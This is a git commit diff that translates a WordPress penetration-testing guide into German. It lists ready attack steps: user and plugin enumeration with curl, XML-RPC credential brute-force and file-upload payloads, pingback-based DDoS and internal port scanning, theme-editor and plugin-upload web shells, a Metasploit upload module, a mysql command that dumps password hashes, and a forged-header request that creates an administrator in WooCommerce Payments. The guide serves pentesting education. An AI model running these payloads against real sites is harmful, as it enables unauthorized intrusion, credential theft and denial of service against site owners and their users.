Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-10-04 09:46:00 +00:00
parent e7f8eb5440
commit e70ac2939f
2 changed files with 400 additions and 254 deletions

View File

@ -4,49 +4,49 @@
## Grundlegende Informationen
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Hochgeladene** Dateien landen in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Theme-Dateien können in /wp-content/themes/ gefunden werden,** daher wenn du etwas PHP des Themes änderst, um RCE zu erreichen, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit dem **theme twentytwelve** kannst du die **404.php** Datei erreichen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** you can find the root password of the database.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- In **wp-config.php** findest du das Root-Passwort der Datenbank.
- Standard Login-Pfade zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **Wichtige WordPress-Dateien**
- `index.php`
- `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet.
- Login-Pfade (können umbenannt sein, um sie zu verbergen):
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Site verwendet.
- Login-Ordner (können umbenannt sein, um sie zu verstecken):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten über HTTP als Transportmechanismus und XML als Kodierungsmechanismus zu übertragen. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
- Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden.
- `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
- `wp-includes/` ist das Verzeichnis, in dem Core-Dateien gespeichert sind, wie Zertifikate, Fonts, JavaScript-Dateien und Widgets.
- `wp-sitemap.xml` In Wordpress-Versionen 5.5 und höher generiert Wordpress eine sitemap XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Post-Typen und Taxonomien.
- Der `wp-content` Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden.
- `wp-content/uploads/` ist das Verzeichnis, in dem alle zur Plattform hochgeladenen Dateien gespeichert werden.
- `wp-includes/` Dieses Verzeichnis enthält Core-Dateien wie Zertifikate, Fonts, JavaScript-Dateien und Widgets.
- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine Sitemap-XML-Datei mit allen öffentlichen Posts und öffentlich abfragbaren Post-Typen und Taxonomien.
**Post exploitation**
**Post-Exploitation**
- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie Datenbankname, Datenbankhost, Benutzername und Passwort, Authentication Keys und Salts sowie das Datenbank-Tabellenpräfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlerbehebung hilfreich sein kann.
- Die `wp-config.php` Datei enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie z. B. Datenbankname, Datenbank-Host, Benutzername und Passwort, Authentication Keys and Salts sowie das Tabellen-Prefix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
### Benutzerberechtigungen
- **Administrator**
- **Editor**: Veröffentlicht und verwaltet eigene und fremde Beiträge
- **Author**: Veröffentlicht und verwaltet eigene Beiträge
- **Editor**: Veröffentlicht und verwaltet seine eigenen und die Beiträge anderer
- **Author**: Veröffentlicht und verwaltet seine eigenen Beiträge
- **Contributor**: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
- **Subscriber**: Beiträge ansehen und das eigene Profil bearbeiten
- **Subscriber**: Kann Beiträge lesen und sein Profil bearbeiten
## **Passive Aufklärung**
### **WordPress-Version ermitteln**
Prüfe, ob du die Dateien `/license.txt` oder `/readme.html` finden kannst
Prüfe, ob du die Dateien `/license.txt` oder `/readme.html` findest
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Im **Quellcode** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (524).png>)
### Plugins herunterladen
### Plugins abrufen
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@ -72,20 +72,20 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Versionen im Allgemeinen extrahieren
### Versionen allgemein extrahieren
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Aktive Enumeration
## Active enumeration
### Plugins and Themes
Du wirst wahrscheinlich nicht alle Plugins und Themes finden können. Um alle zu entdecken, musst du **actively Brute Force a list of Plugins and Themes** (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).
Du wirst wahrscheinlich nicht in der Lage sein, alle Plugins and Themes zu finden. Um alle zu entdecken, musst du **actively Brute Force a list of Plugins and Themes** (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).
### Benutzer
### Users
- **ID Brute:** Du erhältst gültige Benutzer von einer WordPress-Seite durch Brute Forcing der Benutzer-IDs:
- **ID Brute:** Du erhältst gültige Benutzer von einer WordPress-Seite by Brute Forcing users IDs:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -95,23 +95,23 @@ Wenn die Antworten **200** oder **30X** sind, bedeutet das, dass die id **gülti
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Ein weiterer `/wp-json/` endpoint, der einige Informationen über Benutzer preisgeben kann, ist:
Ein weiterer `/wp-json/`-Endpoint, der einige Informationen über Benutzer offenlegen kann, ist:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Beachte, dass dieses endpoint nur Benutzer offenlegt, die einen Beitrag veröffentlicht haben. **Es werden nur Informationen über die Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
Beachte, dass dieser Endpunkt nur Benutzer offenlegt, die einen Beitrag erstellt haben. **Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
Beachte außerdem, dass **/wp-json/wp/v2/pages** IP-Adressen leaken könnte.
Beachte auch, dass **/wp-json/wp/v2/pages** IP-Adressen leak kann.
- **Login username enumeration**: Beim Einloggen über **`/wp-login.php`** ist die **Meldung** **unterschiedlich**, je nachdem, ob der angegebene **Benutzername existiert oder nicht**.
- **Login username enumeration**: Beim Login auf **`/wp-login.php`** ist die **Nachricht** unterschiedlich — sie zeigt an, ob der angegebene **Benutzername** existiert oder nicht.
### XML-RPC
Wenn `xml-rpc.php` aktiv ist, kannst du einen credentials brute-force durchführen oder es nutzen, um DoS-Angriffe gegen andere Ressourcen zu starten. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Wenn `xml-rpc.php` aktiv ist, kannst du einen credentials brute-force durchführen oder es nutzen, um DoS-Angriffe auf andere Ressourcen zu starten. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und diese Anfrage zu senden:
Um zu prüfen, ob es aktiv ist, versuche auf _**/xmlrpc.php**_ zuzugreifen und diese Anfrage zu senden:
**Überprüfen**
**Prüfen**
```html
<methodCall>
<methodName>system.listMethods</methodName>
@ -122,7 +122,7 @@ Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige Methoden, die verwendet werden können, um brute-force credentials zu testen. Wenn du eine davon findest, kannst du etwas wie Folgendes senden:
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Credentials per brute-force zu ermitteln. Wenn Sie eines davon finden, können Sie etwas wie Folgendes senden:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und
</params>
</methodCall>
```
Die Meldung _"Incorrect username or password"_ in einer 200-Code-Antwort sollte erscheinen, wenn die Anmeldedaten nicht gültig sind.
Die Meldung _"Incorrect username or password"_ innerhalb einer Antwort mit Statuscode 200 sollte erscheinen, wenn die Zugangsdaten nicht gültig sind.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Mit den korrekten Zugangsdaten kannst du eine Datei hochladen. In der Antwort wird der Pfad angezeigt ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Mit den korrekten Zugangsdaten kannst du eine Datei hochladen. In der Antwort erscheint der Pfad ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ Mit den korrekten Zugangsdaten kannst du eine Datei hochladen. In der Antwort wi
</params>
</methodCall>
```
Außerdem gibt es eine **schnellere Methode**, um Zugangsdaten per brute-force mit **`system.multicall`** zu testen, da du mehrere Zugangsdaten in derselben Anfrage ausprobieren kannst:
Außerdem gibt es eine **schnellere Möglichkeit**, credentials per **brute-force** mit **`system.multicall`** anzuwenden, da du mehrere credentials in derselben Anfrage testen kannst:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
**2FA umgehen**
Diese Methode ist für Programme und nicht für Menschen gedacht und veraltet, daher unterstützt sie kein 2FA. Wenn du also gültige creds hast, das Haupt-Login aber durch 2FA geschützt ist, **könntest du xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen ausführen kannst, die über die Konsole möglich sind, aber du könntest dennoch RCE erreichen, wie Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
Diese Methode ist für Programme und nicht für Menschen gedacht und veraltet, daher unterstützt sie kein 2FA. Wenn du also gültige creds hast, aber der Hauptzugang durch 2FA geschützt ist, **kannst du möglicherweise xmlrpc.php missbrauchen, um dich mit diesen creds einzuloggen und die 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen ausführen kannst, die über die console möglich sind, aber du kannst trotzdem möglicherweise zu RCE gelangen, wie Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
**DDoS or port scanning**
**DDoS oder port scanning**
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **Tausende** von **Wordpress**-**sites** dazu, eine einzige **Location** anzusprechen (wodurch dort ein **DDoS** verursacht wird), oder du kannst es nutzen, um **Wordpress** ein internes **Network** scannen zu lassen (du kannst jeden Port angeben).
Wenn du die Methode _**pingback.ping**_ in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
Das kann verwendet werden, um **tausende** von Wordpress **sites** dazu zu bringen, auf eine **location** zuzugreifen (wodurch an diesem Ort ein **DDoS** verursacht wird), oder du kannst es nutzen, um Wordpress ein internes **network** **scan**nen zu lassen (du kannst jeden Port angeben).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ This can be used to ask **Tausende** von **Wordpress**-**sites** dazu, eine einz
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Wenn du einen **faultCode** mit einem Wert **größer** als **0** (17) erhältst, bedeutet das, dass der Port offen ist.
Wenn Sie **faultCode** mit einem Wert **größer** als **0** (17) erhalten, bedeutet das, dass der Port offen ist.
Sieh dir die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbrauchen kann, um DDoS zu verursachen.
Siehe die Verwendung von **`system.multicall`** im vorherigen Abschnitt, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
**DDoS**
```html
@ -209,15 +209,15 @@ Sieh dir die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, u
### wp-cron.php DoS
Diese Datei befindet sich normalerweise im Root der Wordpress-Seite: **`/wp-cron.php`**\
Wenn diese Datei **aufgerufen** wird, wird eine "heavy" MySQL **query** ausgeführt, daher könnte sie von **attackers** genutzt werden, um einen **DoS** zu **verursachen**.\
Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf aufgerufen (wann immer ein Client eine Wordpress-Seite anfordert), was bei stark frequentierten Seiten Probleme (DoS) verursachen kann.
Diese Datei existiert normalerweise im Root der Wordpress-Site: **`/wp-cron.php`**\
Wenn diese Datei **aufgerufen** wird, wird eine "**heavy**" MySQL **query** ausgeführt, weshalb sie von **attackers** verwendet werden könnte, um einen **DoS** zu **verursachen**.\
Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf (immer wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten cronjob auf dem Host einzurichten, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
### /wp-json/oembed/1.0/proxy - SSRF
Versuche, _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ aufzurufen — die Worpress-Seite könnte dann eine Anfrage an dich senden.
Versuche, _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ aufzurufen — die Worpress-Site könnte dann eine Anfrage an dich senden.
This is the response when it doesn't work:
@ -238,20 +238,20 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Zugriff erhalten durch Überschreiben eines Bits
## Zugriff durch Überschreiben eines Bits
Mehr ein Kuriosum als ein echter Angriff. In the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit in jeder wordpress-Datei umdrehen. So konnte man das Bit an Position `5389` der Datei `/var/www/html/wp-includes/user.php` umdrehen, um die NOT (`!`) Operation in ein NOP zu verwandeln.
Mehr als ein echter Angriff ist das eine Kuriosität. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit in jeder wordpress-Datei flippen. So konnte man an Position `5389` der Datei `/var/www/html/wp-includes/user.php` das Bit so ändern, dass die NOT (`!`) Operation zu einem NOP wurde.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Bearbeiten einer php-Datei des verwendeten Themes (admin credentials needed)**
**Ändern einer php-Datei des verwendeten Themes (Admin-Zugangsdaten erforderlich)**
Appearance → Theme Editor → 404 Template (auf der rechten Seite)
Appearance → Theme Editor → 404 Template (at the right)
Ändere den Inhalt zu einer php-Shell:
Ändere den Inhalt zu einer php shell:
![](<../../images/image (384).png>)
@ -263,67 +263,67 @@ Du kannst verwenden:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
um eine Session zu erhalten.
um eine Session zu bekommen.
## Plugin RCE
### PHP plugin
Es kann möglich sein, .php-Dateien als Plugin hochzuladen.\
Erstelle deinen php-Backdoor z.B. mit:
Erstelle deine php backdoor zum Beispiel mit:
![](<../../images/image (183).png>)
Dann füge ein neues Plugin hinzu:
Füge dann ein neues Plugin hinzu:
![](<../../images/image (722).png>)
Plugin hochladen und auf Install Now drücken:
Plugin hochladen und auf Install Now klicken:
![](<../../images/image (249).png>)
Auf Procced klicken:
Klicke auf Procced:
![](<../../images/image (70).png>)
Wahrscheinlich scheint das zunächst nichts zu bewirken, aber wenn du zu Media gehst, siehst du deine hochgeladene Shell:
Wahrscheinlich scheint das zunächst nichts zu tun, aber wenn du zu Media gehst, siehst du deine hochgeladene Shell:
![](<../../images/image (462).png>)
Rufe sie auf und du siehst die URL, um die Reverse Shell auszuführen:
Rufe sie auf und du siehst die URL, um die reverse shell auszuführen:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
Diese Methode beinhaltet die Installation eines bösartigen Plugins, das dafür bekannt ist, verwundbar zu sein und ausgenutzt werden kann, um eine Web-Shell zu erhalten. Dieser Prozess wird über das WordPress-Dashboard wie folgt durchgeführt:
Diese Methode beinhaltet die Installation eines bekannten, verwundbaren bösartigen Plugins, das ausgenutzt werden kann, um eine web shell zu erhalten. Dieser Vorgang wird über das WordPress-Dashboard wie folgt durchgeführt:
1. **Plugin Acquisition**: Das Plugin wird aus einer Quelle wie Exploit DB bezogen, z. B. [**hier**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: Das Plugin wird von einer Quelle wie Exploit DB beschafft, z. B. [**hier**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Navigiere zum WordPress-Dashboard, dann zu `Dashboard > Plugins > Upload Plugin`.
- Lade die Zip-Datei des heruntergeladenen Plugins hoch.
3. **Plugin Activation**: Nachdem das Plugin erfolgreich installiert wurde, muss es über das Dashboard aktiviert werden.
- Gehe zum WordPress-Dashboard, dann zu `Dashboard > Plugins > Upload Plugin`.
- Lade die ZIP-Datei des heruntergeladenen Plugins hoch.
3. **Plugin Activation**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
4. **Exploitation**:
- Mit installiertem und aktiviertem Plugin "reflex-gallery" kann dieses ausgenutzt werden, da es als verwundbar bekannt ist.
- Das Metasploit-Framework stellt einen Exploit für diese Schwachstelle bereit. Durch Laden des entsprechenden Moduls und Ausführen bestimmter Befehle kann eine meterpreter-Session hergestellt werden, die unautorisierten Zugriff auf die Site gewährt.
- Dies ist nur eine von vielen Methoden, eine WordPress-Seite auszunutzen.
- Das Metasploit Framework stellt einen Exploit für diese Schwachstelle bereit. Durch Laden des entsprechenden Moduls und Ausführen bestimmter Befehle kann eine meterpreter session hergestellt werden, die unautorisierten Zugriff auf die Seite gewährt.
- Es wird darauf hingewiesen, dass dies nur eine von vielen Methoden ist, eine WordPress-Seite auszunutzen.
Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins zeigen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, wenn keine ausdrückliche Genehmigung vorliegt. Diese Informationen sollten verantwortungsvoll und nur in einem legalen Kontext verwendet werden, z. B. im Rahmen eines Penetrationstests mit ausdrücklicher Erlaubnis.
Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins zeigen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise ohne entsprechende Autorisierung illegal und unethisch ist. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, z. B. beim pentesting mit ausdrücklicher Genehmigung.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
## Von XSS zu RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Schwachstelle zu eskalieren zu **Remote Code Execution (RCE)** oder anderen kritischen Schwachstellen in WordPress. Für mehr Informationen siehe [**diesen Beitrag**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Support für Wordpress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Schwachstelle zu eskalieren zu **Remote Code Execution (RCE)** oder anderen kritischen Schwachstellen in WordPress. Für mehr Infos siehe [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Unterstützung für Wordpress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:**
- _**Privilege Escalation:**_ Erstellt einen Benutzer in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lädt dein eigenes Plugin (backdoor) in WordPress hoch.
- _**(RCE) Built-In Plugin Edit:**_ Editiert ein Built-In Plugin in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Editiert ein Built-In Theme in WordPress.
- _**(Custom) Custom Exploits:**_ Eigene Exploits für Third-Party WordPress Plugins/Themes.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lade dein custom plugin (backdoor) nach WordPress hoch.
- _**(RCE) Built-In Plugin Edit:**_ Bearbeite eingebaute Plugins in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Bearbeite eingebaute Themes in WordPress.
- _**(Custom) Custom Exploits:**_ Eigene Exploits für Drittanbieter-WordPress-Plugins/-Themes.
## Post Exploitation
Benutzernamen und Passwörter extrahieren:
Extrahiere Benutzernamen und Passwörter:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Angriffsfläche
Es ist entscheidend zu wissen, wie ein Wordpress Plugin Funktionalität offenlegen kann, um Schwachstellen in dessen Funktionalität zu finden. Du findest, wie ein Plugin Funktionalität preisgeben kann, in den folgenden Aufzählungspunkten und einige Beispiele verwundbarer Plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Es ist entscheidend zu wissen, wie ein Wordpress-Plugin Funktionalität nach außen freigibt, um Schwachstellen in dieser Funktionalität zu finden. Wie ein Plugin Funktionalität offenlegen kann, sehen Sie in den folgenden Stichpunkten; Beispiele verwundbarer Plugins finden Sie in [**diesem Blogpost**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Eine Möglichkeit, wie ein Plugin Funktionen gegenüber Benutzern offenlegen kann, sind AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines wordpress nonce stützen, das **jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle).
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer exponieren kann, ist über AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stützen, das **jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle).
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin nach außen zu exponieren:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Die Verwendung von `nopriv` macht den Endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).**
**Die Verwendung von `nopriv` macht den endpoint für alle Benutzer zugänglich (auch für nicht authentifizierte).**
> [!CAUTION]
> Außerdem, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion nur, ob der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit geringen Rechten Zugriff auf Aktionen mit hohen Rechten haben.
> Außerdem, wenn die Funktion die Autorisierung des Benutzers nur mit der Funktion `wp_verify_nonce` prüft, überprüft diese Funktion lediglich, ob der Benutzer eingeloggt ist; sie prüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit niedrigen Rechten Zugriff auf hochprivilegierte Aktionen erhalten.
- **REST API**
Es ist auch möglich, Funktionen von wordpress freizulegen, indem man eine REST API mit der Funktion `register_rest_route` registriert:
Es ist auch möglich, Funktionen aus wordpress über die Registrierung einer REST API mit der Funktion `register_rest_route` freizulegen:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
Der `permission_callback` ist eine Callback-Funktion, die überprüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
Der `permission_callback` ist eine Callback-Funktion, die prüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
**Wenn die eingebaute `__return_true`-Funktion verwendet wird, überspringt sie einfach die Benutzerberechtigungsprüfung.**
**Wenn die eingebaute Funktion `__return_true` verwendet wird, überspringt sie einfach die Überprüfung der Benutzerberechtigungen.**
- **Direkter Zugriff auf die php-Datei**
- **Direkter Zugriff auf die PHP-Datei**
Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität bereitstellt, die allein durch den Zugriff auf die Datei ausgelöst wird, ist sie für jeden Benutzer ausnutzbar.
Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn also ein Plugin eine verwundbare Funktionalität offenlegt, die allein durch den Zugriff auf die Datei ausgelöst wird, ist sie von jedem Benutzer ausnutzbar.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
### Trusted-header REST-Identitätsvortäuschung (WooCommerce Payments ≤ 5.6.1)
Einige Plugins implementieren “trusted header”-Abkürzungen für interne Integrationen oder Reverse-Proxy und verwenden diesen Header dann, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht von einer vorgelagerten Komponente kryptografisch an die Anfrage gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator aufrufen.
Einige Plugins implementieren “trusted header”-Shortcuts für interne Integrationen oder Reverse Proxies und verwenden diesen Header dann, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht kryptographisch an die Anfrage durch eine vorgelagerte Komponente gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator aufrufen.
- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt Benutzer-ID 1, typischerweise das erste Administrator-Konto).
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
- Auswirkung: Unauthentifizierte Privilegieneskalation zum Admin, indem ein neuer Administrator über die core users REST-Route erstellt wird.
- Beispiel-Header: `X-Wcpay-Platform-Checkout-User: 1` (erzwingt Benutzer-ID 1, typischerweise das erste Administrator-Konto).
- Ausgenutzte Route: `POST /wp-json/wp/v2/users` mit einem erhöhten role-Array.
PoC
```http
@ -391,40 +391,31 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Warum es funktioniert
Why it works
- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungsstatus und umgeht Capability-Prüfungen.
